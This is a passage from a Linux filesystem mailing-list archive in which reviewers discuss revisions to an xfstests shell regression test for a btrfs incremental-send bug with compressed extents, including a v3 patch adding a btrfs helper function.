AoMJAKJEAVN5LJYe/2dsb2JhbABZgwaDP7c4hVCBDxd0giUBAQU6HCMQCAMYCSUPBQ0YAyETh3EDEMIfDYgPFxaMUYIaB4Q4BI4/iAGBa4xfhUWDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 17 Feb 2014 09:38:55 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFApQ-0003rg-1I; Mon, 17 Feb 2014 10:08:52 +1100 Date: Mon, 17 Feb 2014 10:08:52 +1100 From: Dave Chinner To: Filipe David Borba Manana Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH v2] xfstests: add regression test for btrfs incremental send Message-ID: <20140216230851.GX13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add regression test for btrfs incremental send References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392478573-4513-1-git-send-email-fdmanana@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392478573-4513-1-git-send-email-fdmanana@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1392592140 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145188 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Feb 15, 2014 at 03:36:13PM +0000, Filipe David Borba Manana wrote: > Test for a btrfs incremental send issue where we end up sending a > wrong section of data from a file extent if the corresponding file > extent is compressed and the respective file extent item has a non > zero data offset. > > Fixed by the following linux kernel btrfs patch: > > Btrfs: use right clone root offset for compressed extents > > Signed-off-by: Filipe David Borba Manana > --- > > V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' > hole punch implementation leaving hole file extent items when we punch > beyond the file's current size. > > tests/btrfs/040 | 115 +++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/040.out | 1 + > tests/btrfs/group | 1 + > 3 files changed, 117 insertions(+) > create mode 100755 tests/btrfs/040 > create mode 100644 tests/btrfs/040.out > > diff --git a/tests/btrfs/040 b/tests/btrfs/040 > new file mode 100755 > index 0000000..d6b37bf > --- /dev/null > +++ b/tests/btrfs/040 > @@ -0,0 +1,115 @@ > +#! /bin/bash > +# FS QA Test No. btrfs/040 > +# > +# Test for a btrfs incremental send issue where we end up sending a > +# wrong section of data from a file extent if the corresponding file > +# extent is compressed and the respective file extent item has a non > +# zero data offset. > +# > +# Fixed by the following linux kernel btrfs patch: > +# > +# Btrfs: use right clone root offset for compressed extents > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=`mktemp -d` > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + rm -fr $tmp > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs btrfs > +_supported_os Linux > +_require_scratch > +_need_to_be_root > + > +FSSUM_PROG=$here/src/fssum > +[ -x $FSSUM_PROG ] || _notrun "fssum not built" > + > +rm -f $seqres.full > + > +_scratch_mkfs >/dev/null 2>&1 > +_scratch_mount "-o compress-force=lzo" > + > +run_check $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo > +run_check $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ > + $SCRATCH_MNT/foo Ugh. filter the output, don't use run_check. $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ $SCRATCH_MNT/foo | _filter_xfs_io If something fails, we still want the test to continue running, even if all it does is exercise error handling paths. run_check simply terminates the test at the first failure. > +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ > + $SCRATCH_MNT/mysnap1 > + > +run_check $XFS_IO_PROG -c "pwrite -S 0x3e -b 80000 200000 80000" \ > + $SCRATCH_MNT/foo > +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT Why a special btrfs sync here? Why isn't "sync" sufficient, or even a synchronous write or write plus fsync like: $XFS_IO_PROG -c "pwrite -S 0x3e -b 80000 200000 80000" -c "fsync" \ $SCRATCH_MNT/foo | _filter_xfs_io Tests need to be documented the same way code is documented.... > +run_check $XFS_IO_PROG -c "pwrite -S 0xdc -b 10000 250000 10000" \ > + $SCRATCH_MNT/foo > +run_check $XFS_IO_PROG -c "pwrite -S 0xff -b 10000 300000 10000" \ > + $SCRATCH_MNT/foo I'm getting to the point where I'm starting to consider "run_check" as being harmful.... I know you are trying to work around the fact that the btrfs progs commands have inconsistent output and so are difficult to match. However, given that this is leading to bad habits like using run_check for everything. I'd suggest that we need a set of $BTRFS_UTIL_PROG specific handlers to deal with these differences rather than continuing to pollute the tests with run_check. e.g. _run_btrfs_util_prog() { run_check $BTRFS_UTIL_PROG $* } would be a good start because it gets that run_check pattern out of the main test scripts and hence out of the heads of test writers. Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Sun Feb 16 17:43:21 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 257B37F57 for ; Sun, 16 Feb 2014 17:43:21 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D9640304039 for ; Sun, 16 Feb 2014 15:43:20 -0800 (PST) X-ASG-Debug-ID: 1392594198-04bdf00fca600d0001-NocioJ Received: from mail-bk0-f51.google.com (mail-bk0-f51.google.com [209.85.214.51]) by cuda.sgi.com with ESMTP id TM7t0X22VbAmuL11 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 15:43:19 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.214.51 X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.51] Received: by mail-bk0-f51.google.com with SMTP id w10so3907415bkz.24 for ; Sun, 16 Feb 2014 15:43:17 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.51] X-Barracuda-IPDD: Level1 [gmail.com/209.85.214.51] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:in-reply-to:references:date:message-id :subject:from:to:cc:content-type; bh=o0TSbn5GZzqntSfgCsOJwViG+LWeGTq4EwanwOnEHvQ=; b=Nu2KkieoyhytaUX6uJhNSwp9uU6S/3iAlgCRd5UbDxg94K89srmvcNyBGkCPdEBTgV NbFMRaQCC4xg0b1OGJQK/5PQW4O7bk/ghv1dk2Vodf24r1qjgI8jCBoC7WUhJB+xSG68 7fGX8aXWVBuWM+a62bXLI5qK/FkvE68ruzwNH4ctGKLezEkcTcgYkL9S/32OAwaNnoIG vw/cjhZycBA/2OVnpNeZ0Mpj5iqNQtMIgPsVhRdmLoR8pbhXylQ81r+tqa4J7G/f8OJF 1eQ6mdQcyuPcMW98COW2n2VnNbFN88MQzLN3F4Ps/pbBUTE56FkvDSxikx+uufjI88iV ZXjQ== MIME-Version: 1.0 X-Received: by 10.204.178.13 with SMTP id bk13mr7443bkb.74.1392594197709; Sun, 16 Feb 2014 15:43:17 -0800 (PST) Received: by 10.204.69.197 with HTTP; Sun, 16 Feb 2014 15:43:17 -0800 (PST) Reply-To: fdmanana@gmail.com In-Reply-To: <20140216230851.GX13647@dastard> References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> <1392478573-4513-1-git-send-email-fdmanana@gmail.com> <20140216230851.GX13647@dastard> Date: Sun, 16 Feb 2014 23:43:17 +0000 Message-ID: Subject: Re: [PATCH v2] xfstests: add regression test for btrfs incremental send From: Filipe David Manana X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add regression test for btrfs incremental send To: Dave Chinner Cc: xfs@oss.sgi.com, "linux-btrfs@vger.kernel.org" Content-Type: text/plain; charset=UTF-8 X-Barracuda-Connect: mail-bk0-f51.google.com[209.85.214.51] X-Barracuda-Start-Time: 1392594198 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145188 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Sun, Feb 16, 2014 at 11:08 PM, Dave Chinner wrote: > On Sat, Feb 15, 2014 at 03:36:13PM +0000, Filipe David Borba Manana wrote: >> Test for a btrfs incremental send issue where we end up sending a >> wrong section of data from a file extent if the corresponding file >> extent is compressed and the respective file extent item has a non >> zero data offset. >> >> Fixed by the following linux kernel btrfs patch: >> >> Btrfs: use right clone root offset for compressed extents >> >> Signed-off-by: Filipe David Borba Manana >> --- >> >> V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' >> hole punch implementation leaving hole file extent items when we punch >> beyond the file's current size. >> >> tests/btrfs/040 | 115 +++++++++++++++++++++++++++++++++++++++++++++++++++ >> tests/btrfs/040.out | 1 + >> tests/btrfs/group | 1 + >> 3 files changed, 117 insertions(+) >> create mode 100755 tests/btrfs/040 >> create mode 100644 tests/btrfs/040.out >> >> diff --git a/tests/btrfs/040 b/tests/btrfs/040 >> new file mode 100755 >> index 0000000..d6b37bf >> --- /dev/null >> +++ b/tests/btrfs/040 >> @@ -0,0 +1,115 @@ >> +#! /bin/bash >> +# FS QA Test No. btrfs/040 >> +# >> +# Test for a btrfs incremental send issue where we end up sending a >> +# wrong section of data from a file extent if the corresponding file >> +# extent is compressed and the respective file extent item has a non >> +# zero data offset. >> +# >> +# Fixed by the following linux kernel btrfs patch: >> +# >> +# Btrfs: use right clone root offset for compressed extents >> +# >> +#----------------------------------------------------------------------- >> +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. >> +# >> +# This program is free software; you can redistribute it and/or >> +# modify it under the terms of the GNU General Public License as >> +# published by the Free Software Foundation. >> +# >> +# This program is distributed in the hope that it would be useful, >> +# but WITHOUT ANY WARRANTY; without even the implied warranty of >> +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the >> +# GNU General Public License for more details. >> +# >> +# You should have received a copy of the GNU General Public License >> +# along with this program; if not, write the Free Software Foundation, >> +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA >> +#----------------------------------------------------------------------- >> +# >> + >> +seq=`basename $0` >> +seqres=$RESULT_DIR/$seq >> +echo "QA output created by $seq" >> + >> +here=`pwd` >> +tmp=`mktemp -d` >> +status=1 # failure is the default! >> +trap "_cleanup; exit \$status" 0 1 2 3 15 >> + >> +_cleanup() >> +{ >> + rm -fr $tmp >> +} >> + >> +# get standard environment, filters and checks >> +. ./common/rc >> +. ./common/filter >> + >> +# real QA test starts here >> +_supported_fs btrfs >> +_supported_os Linux >> +_require_scratch >> +_need_to_be_root >> + >> +FSSUM_PROG=$here/src/fssum >> +[ -x $FSSUM_PROG ] || _notrun "fssum not built" >> + >> +rm -f $seqres.full >> + >> +_scratch_mkfs >/dev/null 2>&1 >> +_scratch_mount "-o compress-force=lzo" >> + >> +run_check $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo >> +run_check $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ >> + $SCRATCH_MNT/foo > > Ugh. filter the output, don't use run_check. > > $XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo > $XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ > $SCRATCH_MNT/foo | _filter_xfs_io > > If something fails, we still want the test to continue running, even > if all it does is exercise error handling paths. run_check simply > terminates the test at the first failure. What's the point of continuing? The test will fail anyway, all of the xfs_io calls are necessary to trigger the bug. > >> +run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ >> + $SCRATCH_MNT/mysnap1 >> + >> +run_check $XFS_IO_PROG -c "pwrite -S 0x3e -b 80000 200000 80000" \ >> + $SCRATCH_MNT/foo >> +run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT > > Why a special btrfs sync here? Why isn't "sync" sufficient, or even > a synchronous write or write plus fsync like: > > $XFS_IO_PROG -c "pwrite -S 0x3e -b 80000 200000 80000" -c "fsync" \ > $SCRATCH_MNT/foo | _filter_xfs_io > > Tests need to be documented the same way code is documented.... > >> +run_check $XFS_IO_PROG -c "pwrite -S 0xdc -b 10000 250000 10000" \ >> + $SCRATCH_MNT/foo >> +run_check $XFS_IO_PROG -c "pwrite -S 0xff -b 10000 300000 10000" \ >> + $SCRATCH_MNT/foo > > I'm getting to the point where I'm starting to consider "run_check" > as being harmful.... Ok... > > I know you are trying to work around the fact that the btrfs > progs commands have inconsistent output and so are difficult to > match. However, given that this is leading to bad habits like using > run_check for everything. > > I'd suggest that we need a set of $BTRFS_UTIL_PROG specific handlers > to deal with these differences rather than continuing to pollute the > tests with run_check. e.g. > > _run_btrfs_util_prog() > { > run_check $BTRFS_UTIL_PROG $* > } > > would be a good start because it gets that run_check pattern out of > the main test scripts and hence out of the heads of test writers. Well, will get rid of those run_check calls, but that will imply adding some | _filter_scratch in many places. So shortening lines is not a great argument :) thanks > > Cheers, > > Dave. > -- > Dave Chinner > david@fromorbit.com -- Filipe David Manana, "Reasonable men adapt themselves to the world. Unreasonable men adapt the world to themselves. That's why all progress depends on unreasonable men." From fdmanana@gmail.com Sun Feb 16 18:21:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C7D8E7F58 for ; Sun, 16 Feb 2014 18:21:15 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 8B1FE304053 for ; Sun, 16 Feb 2014 16:21:12 -0800 (PST) X-ASG-Debug-ID: 1392596469-04bdf00fc061c80001-NocioJ Received: from mail-we0-f178.google.com (mail-we0-f178.google.com [74.125.82.178]) by cuda.sgi.com with ESMTP id LeSQ7Za6dXh1INZ5 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 16:21:10 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.178 Received: by mail-we0-f178.google.com with SMTP id q59so9943569wes.23 for ; Sun, 16 Feb 2014 16:21:08 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=OwsgRtx0V1auZQ/giFTKlw5t0qDALRuyA84dqjyYf5E=; b=flrZ1+sJCjW7h6h0mcLrf6W/CoP8pONBp3M+CUDWp3r8eykd585qib00NtIZxE0Wuj USn+H/AuSq9w66dARthRwQZbMY9O7xpeFt2MGfxb4WvzlCYVW3XkvwELwlGSdIfOH8Si ADjzgPGW04hWVPpn/Wm5CBl7a0trO53Mw+tiledmCb6qf1AZ3WpWAuRQB8SrKDnKZYlm 8pALr6ypvJcKkMZnNCuc+gDUf1v7QMIWabor2hAhH+8ID2K/HOFGOGHJBvHv2ik54bkj xO91Fra+LiaB/QyUO+QdpuhTKolfICuj66Ho5zjM8GpNQyAmV07QBiZDQ3qTIzlD3BLO UB/g== X-Received: by 10.194.86.130 with SMTP id p2mr77619wjz.88.1392596468667; Sun, 16 Feb 2014 16:21:08 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id dk9sm32325562wjb.4.2014.02.16.16.21.01 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 16 Feb 2014 16:21:08 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v3] xfstests: add regression test for btrfs incremental send Date: Mon, 17 Feb 2014 00:20:38 +0000 X-ASG-Orig-Subj: [PATCH v3] xfstests: add regression test for btrfs incremental send Message-Id: <1392596438-6509-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1392408522-764-1-git-send-email-fdmanana@gmail.com> References: <1392408522-764-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-we0-f178.google.com[74.125.82.178] X-Barracuda-Start-Time: 1392596470 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145190 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Test for a btrfs incremental send issue where we end up sending a wrong section of data from a file extent if the corresponding file extent is compressed and the respective file extent item has a non zero data offset. Fixed by the following linux kernel btrfs patch: Btrfs: use right clone root offset for compressed extents Signed-off-by: Filipe David Borba Manana --- V2: Made the test more reliable. Now it doesn't depend anymore of btrfs' hole punch implementation leaving hole file extent items when we punch beyond the file's current size. V3: Filter xfs_io output and make less use of the run_check function, as suggested by Dave Chinner. common/rc | 5 +++ tests/btrfs/040 | 119 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/040.out | 9 ++++ tests/btrfs/group | 1 + 4 files changed, 134 insertions(+) create mode 100755 tests/btrfs/040 create mode 100644 tests/btrfs/040.out diff --git a/common/rc b/common/rc index e91568b..27be009 100644 --- a/common/rc +++ b/common/rc @@ -2207,6 +2207,11 @@ run_check() "$@" >> $seqres.full 2>&1 || _fail "failed: '$@'" } +_run_btrfs_util_prog() +{ + run_check $BTRFS_UTIL_PROG $* +} + init_rc() { if [ "$iam" == new ] diff --git a/tests/btrfs/040 b/tests/btrfs/040 new file mode 100755 index 0000000..9037782 --- /dev/null +++ b/tests/btrfs/040 @@ -0,0 +1,119 @@ +#! /bin/bash +# FS QA Test No. btrfs/040 +# +# Test for a btrfs incremental send issue where we end up sending a +# wrong section of data from a file extent if the corresponding file +# extent is compressed and the respective file extent item has a non +# zero data offset. +# +# Fixed by the following linux kernel btrfs patch: +# +# Btrfs: use right clone root offset for compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount "-o compress-force=lzo" + +$XFS_IO_PROG -f -c "truncate 118811" $SCRATCH_MNT/foo +$XFS_IO_PROG -c "pwrite -S 0x0d -b 39987 92267 39987" \ + $SCRATCH_MNT/foo | _filter_xfs_io + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap1 + +$XFS_IO_PROG -c "pwrite -S 0x3e -b 80000 200000 80000" \ + $SCRATCH_MNT/foo | _filter_xfs_io + +# Sync to avoid btrfs merging file extent items, which would make the test +# succeed when it should fail. +_run_btrfs_util_prog filesystem sync $SCRATCH_MNT + +$XFS_IO_PROG -c "pwrite -S 0xdc -b 10000 250000 10000" \ + $SCRATCH_MNT/foo | _filter_xfs_io +$XFS_IO_PROG -c "pwrite -S 0xff -b 10000 300000 10000" \ + $SCRATCH_MNT/foo | _filter_xfs_io + +# will be used for incremental send to be able to issue clone operations +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/clones_snap + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT \ + $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + -x $SCRATCH_MNT/mysnap2/clones_snap $SCRATCH_MNT/mysnap2 +run_check $FSSUM_PROG -A -f -w $tmp/clones.fssum $SCRATCH_MNT/clones_snap \ + -x $SCRATCH_MNT/clones_snap/mysnap1 -x $SCRATCH_MNT/clones_snap/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send $SCRATCH_MNT/clones_snap -f $tmp/clones.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 \ + -c $SCRATCH_MNT/clones_snap $SCRATCH_MNT/mysnap2 -f $tmp/2.snap + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 2>> $seqres.full + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/clones.snap +run_check $FSSUM_PROG -r $tmp/clones.fssum $SCRATCH_MNT/clones_snap 2>> $seqres.full + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 2>> $seqres.full + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +status=0 +exit diff --git a/tests/btrfs/040.out b/tests/btrfs/040.out new file mode 100644 index 0000000..cc77aed --- /dev/null +++ b/tests/btrfs/040.out @@ -0,0 +1,9 @@ +QA output created by 040 +wrote 39987/39987 bytes at offset 92267 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 80000/80000 bytes at offset 200000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 10000/10000 bytes at offset 250000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 10000/10000 bytes at offset 300000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) diff --git a/tests/btrfs/group b/tests/btrfs/group index 2ca2225..a687634 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -38,3 +38,4 @@ 033 auto quick 034 auto quick 036 auto quick +040 auto quick -- 1.7.9.5 From fdmanana@gmail.com Sun Feb 16 18:23:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 584087F5E for ; Sun, 16 Feb 2014 18:23:08 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id C5153AC03B for ; Sun, 16 Feb 2014 16:23:04 -0800 (PST) X-ASG-Debug-ID: 1392596581-04cbb00c2a493490001-NocioJ Received: from mail-wi0-f180.google.com (mail-wi0-f180.google.com [209.85.212.180]) by cuda.sgi.com with ESMTP id S6QvMo4V2TiDYHUa (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 16 Feb 2014 16:23:02 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.180 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] Received: by mail-wi0-f180.google.com with SMTP id hm4so1887849wib.1 for ; Sun, 16 Feb 2014 16:23:01 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.180] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=64SduvW6Z3MDRnYTONES9v3u8MyNm6GSuwWoZevGCc4=; b=pjGffDPaLFfdY1U1KVyG/to9FhtQgkaoZoyfUcBiTU1NXFepY9MnWUmiL22KJ2zq56 tl7vot0lf9kaTkdMsV3bDQaYJSq6UQE7Ik/ut2DVUHSnZDYT9nuhfK07ZKjOpe0gyPQh I22FApL1QmAerkRh6xNGIwBSXt0OB00zTR787BLYUjP+dbWvw9silX0UgkmkFBKV93Zu Zildre5p3trHAzOkuL3Q7IO3Cf53dhuYce+SJwipyndtkP/OEgW1s6jb9Y3QOhE0cyiW GTDbGhtWCg5AmGsUwGNrCZS0lua2Ss8iDLif6FX6Hk/4H0cUfgUYge4IIf177ddVCf1+ 3nRA== X-Received: by 10.180.185.197 with SMTP id fe5mr10563534wic.56.1392596581475; Sun, 16 Feb 2014 16:23:01 -0800 (PST) Received: from storm-desktop.lan (bl9-94-146.dsl.telepac.pt. [85.242.94.146]) by mx.google.com with ESMTPSA id n15sm27229417wij.3.2014.02.16.16.22.52 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 16 Feb 2014 16:23:00 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add test for btrfs incremental send after dir renames Date: Mon, 17 Feb 2014 00:22:32 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add test for btrfs incremental send after dir renames Message-Id: <1392596552-6566-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1392558260-14546-1-git-send-email-fdmanana@gmail.com> References: <1392558260-14546-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wi0-f180.google.com[209.85.212.180] X-Barracuda-Start-Time: 1392596582 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 